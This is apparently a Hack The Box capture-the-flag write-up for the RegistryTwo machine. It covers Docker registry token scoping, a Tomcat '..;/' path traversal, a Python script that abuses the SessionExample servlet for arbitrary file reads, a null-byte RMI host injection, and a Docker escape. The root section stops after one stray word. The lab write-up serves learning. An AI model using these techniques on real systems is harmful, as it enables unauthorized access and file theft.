> For the complete documentation index, see [llms.txt](https://samfisher91.gitbook.io/samfisher-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://samfisher91.gitbook.io/samfisher-blog/registrytwo-htb.md).

# RegistryTwo - HTB

https\://app.hackthebox.com/machines/552

![](https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FJvzwmZaCx0ax0W4PX5zq%2Fimage.png?alt=media\&token=e0ac8693-34f6-4f08-906e-5f25ef47932e)

**First of all, I won't go into deep detail for every step. Sometimes I'll skip certain aspects, but my focus will be on delivering the exploit, vulnerability, and how to exploit them efficiently. This will be a quick and concise writeup."**

## ![](https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2Fybt2hYsdt4hPzTHKDXX2%2Fimage.png?alt=media\&token=32851a24-3483-4248-b514-8273be7d193c)

## #Foothold

First lets start with port 5001

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FMHFFxbaMxK6ZZveRqvxv%2Fimage.png?alt=media&amp;token=8e88e600-30ce-405c-83f8-69a0fecf4686" alt=""><figcaption></figcaption></figure>

**With fuzzing the web dirs ,we can find /auth**

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FjPQFl2H3AwKUv3o3tJDP%2Fimage.png?alt=media&amp;token=380e6248-2eaf-4ab5-abc2-6ec2e455ecc6" alt=""><figcaption></figcaption></figure>

**you can refer back to the docker registry documentation** [**HERE**](https://docs.docker.com/registry/spec/auth/) **for further details**

**also specifically** [**HERE**](https://docs.docker.com/registry/spec/auth/token/) **will tell you what to do with the token ,but first it required more modifications in order to access the docker registry image and pull it.**

```
"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiIiwiZXhwIjoxNjkxMTk1MzMwLCJuYmYiOjE2OTExOTQ0MjAsImlhdCI6MTY5MTE5NDQzMCwianRpIjoiNzI2OTY2MzEyOTQ3MjA0MTI5NyIsImFjY2VzcyI6W119.bgtox4TBEcH_MuNR603paF72sKCIguXsBVKQplZDOqiokMqlEuizFpte4vqlfX_oVNwE_3xh4kU1Y7CERUsVzN8JMMbccgTV-95F1TVwnc1hoYe1w-6rSvHINHi-cGurHSirahbpxQy9iTc1VBNawx2m2sLTRQdFe7E-TTHSdaF0OwDYwtALmW2sCNc9quhRPkbi4c0YusJP0UYajt35WWfJnPbWtlDHlVrttsqvjHWEAQn29CpkvrKFrTI78VfzbVcYyZAoTGnWbqgGDtSLPccn7eyVeJlyTsfwY6gcHkuywi6LUEV7pEZ-R28hhQkBu4eb4EuJgcvLJNOciUTTqA"
```

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F31P2gesh6W142iUA4l0m%2Fimage.png?alt=media&amp;token=8891d503-0836-4f6f-988a-03b6cda4773c" alt=""><figcaption></figcaption></figure>

**As per documentation we also need :**

```
Www-Authenticate:
```

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FONrVOUIY5AmjuMYg3OXQ%2Fimage.png?alt=media&amp;token=2adcdd83-69a6-406c-8493-91be93a879af" alt=""><figcaption></figcaption></figure>

**To craft your own token ,we used this added URL scope as the documentation suggest to access \_catalog**

[**`https://webhosting.htb:5001/auth?service=Docker%20registry&scope=registry:catalog:`**](https://webhosting.htb:5001/auth?service=Docker%20registry\&scope=registry:catalog:*)**`*`**

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F2FmyXxvfXzwHlotuZ0MA%2Fimage.png?alt=media&amp;token=ad2f928a-b162-4943-88b5-ed556bd6cc62" alt=""><figcaption></figcaption></figure>

**Craft another token to get hosting-app image information**\
[**`https://webhosting.htb:5001/auth?service=Docker%20registry&scope=repository:hosting-app:pull`**](https://webhosting.htb:5001/auth?service=Docker%20registry\&scope=repository:hosting-app:pull)

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FVqx9eiPSQPaX0M6v30PU%2Fimage.png?alt=media&amp;token=40ae3e4f-b50e-423d-913e-03f78da05f58" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F2i3uEqbgotXZzaqiFUDW%2Fimage.png?alt=media&amp;token=6c804e35-ca27-4160-8bc4-6af0d5229dd5" alt=""><figcaption></figcaption></figure>

Reading the image information will gives you a clue what web app they are using and alot of other information to find your way for the user foothold

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FujITWb7rAOTs517HK97i%2Fimage.png?alt=media&amp;token=085534e5-c9e8-4b20-aa7a-ee7c6b6235ff" alt=""><figcaption></figcaption></figure>

Now we move to Port 443

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FGmPwzUGQpZHDB7HzgBZp%2Fimage.png?alt=media&amp;token=614c4bd3-c228-4f4d-a6bc-e1e49209fa58" alt=""><figcaption></figcaption></figure>

Register with a new user then login

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FoElLycQNzRT7ICYHhtIg%2Fimage.png?alt=media&amp;token=81ec9a18-9be2-4305-a424-a83c274cb8ae" alt=""><figcaption></figcaption></figure>

as we know previously they are using tomcat v9.0.2 ,referring to [HERE](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat) we find that website is vulnerable to Path Traversal (..;/)

Now we are able to access the application manager&#x20;

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FPAvR7SXA1njxYFpzQrfJ%2Fimage.png?alt=media&amp;token=77a05c25-1f0b-4e82-b24d-d434fe8fb483" alt=""><figcaption></figcaption></figure>

Now we are able to access the example scripts which we can modify token sessions to access unavailable things

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FmpZFBZETSYeTLhqmaSEU%2Fimage.png?alt=media&amp;token=5585b5cf-072d-4527-9571-c62ec69d7286" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FrEzjf5x1l9d4bcAhIKSJ%2Fimage.png?alt=media&amp;token=734f01f2-91d3-44e6-b56c-20735aa84d12" alt=""><figcaption></figcaption></figure>

as you can see (s\_EditingMedia\_{tmpID}) ,u can get {tmpID} by creating a domain then try to write/edit the file index.html or any created file&#x20;

i have automated the process by creating this simple python script

```
import requests

url_post = 'https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample'

user_input = input("File PATH: ")

headers_post = {
    # Add the required headers here, including the 'Cookie' header
    'Cookie': 'JSESSIONID={cookie}',
    'Content-Type': 'application/x-www-form-urlencoded',
}

data = {
    'dataname': 's_EditingMedia_{tmpID}',
    'datavalue': user_input
}

# Disable SSL certificate verification by setting verify=False
response_post = requests.post(url_post, headers=headers_post, data=data, verify=False)

# Check the response status code
if response_post.status_code == 200:
    print("Request was successful.")
else:
    print(f"Request failed with status code: {response_post.status_code}")

```

just make sure to change {cookie} + {tmpID} to yours ,after you get successfully respond ,you can refresh the tmpID page to see the file ,also note you are able to modify the file with what ever you want if you have write access to that file.

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FHvuriOkJyQX9FXKIT2h8%2Fimage.png?alt=media&amp;token=7ad36794-62a3-4352-a6bc-7f64eec6478a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FlLgyaakTJTrwKguc3Pg6%2Fimage.png?alt=media&amp;token=cc470b0d-0111-4bdb-997c-7f58d48908b1" alt=""><figcaption></figcaption></figure>

now we can get the hosting.war that we found in previous docker registry image that we pulled

```
/usr/local/tomcat/webapps/hosting.war
```

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F1MJlvb6X8MK19BnYWp1X%2Fimage.png?alt=media&amp;token=e4678da8-54f6-4b1a-acf3-2cdf8150c8c4" alt=""><figcaption></figcaption></figure>

view the webpage source ,and scroll down to ' value=atob(\```{BASE64}`)``

try to just get the {base64} and remove the rest ,and use base64 -d to > hosting.war file

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FqKugaW6iVIUKtBZi5FG3%2Fimage.png?alt=media&amp;token=a46032f6-7739-4b06-8843-0d5ce656b2fd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F4eKn2xqTquPQq4ELqnTm%2Fimage.png?alt=media&amp;token=b5333f98-523b-4aa8-afe1-1cbe237dc1cf" alt=""><figcaption></figcaption></figure>

after reading the source code ,we know we can set manager role&#x20;

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FrAWShs8FuAvksf0VL9Sd%2Fimage.png?alt=media&amp;token=513d62be-d689-48c1-b492-05526689034f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FUhPBQkxhbeSjMj5fnt31%2Fimage.png?alt=media&amp;token=8eedc8c8-76b4-4c71-9af8-86279dd47b4e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FxKcrLCU1gJpBrfS5Lvi0%2Fimage.png?alt=media&amp;token=c389169f-a295-45ee-8427-6eb7b68dc4e4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FQMjXxUgiq5tyr9q0OSh0%2Fimage.png?alt=media&amp;token=394ef38c-b92f-4f21-a3c9-6f3232f3cdb8" alt=""><figcaption></figcaption></figure>

adding \&rmi.host={ip} and %00.htb to bypass the check

now we have to request anything through our created domain to trigger the RMI&#x20;

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2Fkbak8sSR6LCUDQkMrmfK%2Fimage.png?alt=media&amp;token=cc37ad25-36d2-4f34-af07-ffd4919b38f9" alt=""><figcaption></figcaption></figure>

i used [ermir ](https://github.com/hakivvi/ermir)tool ,and make sure your current java version is 11 in order for the payload and exploit to work, u can use below commands to list/change your java version

```
update-java-alternatives --list
update-java-alternatives --set java-1.11.0-openjdk-amd64
```

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F7EeWJiAwcFVQHiblEECA%2Fimage.png?alt=media&amp;token=156dd759-2e22-4ade-9c4e-588890f0774f" alt=""><figcaption></figcaption></figure>

### **#Docker Escape**

after enumeration ,we can actually interact with the RMI server again to escape the docker

you will find all used tools in my repository&#x20;

{% embed url="<https://github.com/Envincion/tools>" %}

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F17UB2n817OhznXeHcw2K%2Fimage.png?alt=media&amp;token=2de86b4a-3fc6-46b9-acbf-6a90a921ded8" alt=""><figcaption></figcaption></figure>

i brute force developer folder using Sec-List/Discovery/Web-Content/dirsearch.txt&#x20;

and found a hidden file contain credentials&#x20;

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F6Iim1rLQuPCoIPy6Hd9H%2Fimage.png?alt=media&amp;token=2b5d0cfa-d06e-4f96-b0c2-6e4ca61e4cbf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FuEPdItk28E3dfdiowIXD%2Fimage.png?alt=media&amp;token=fec973e1-3c0c-43b4-baf5-ec067c5e412b" alt=""><figcaption></figcaption></figure>

#### #Root - Privilege Escalation

za
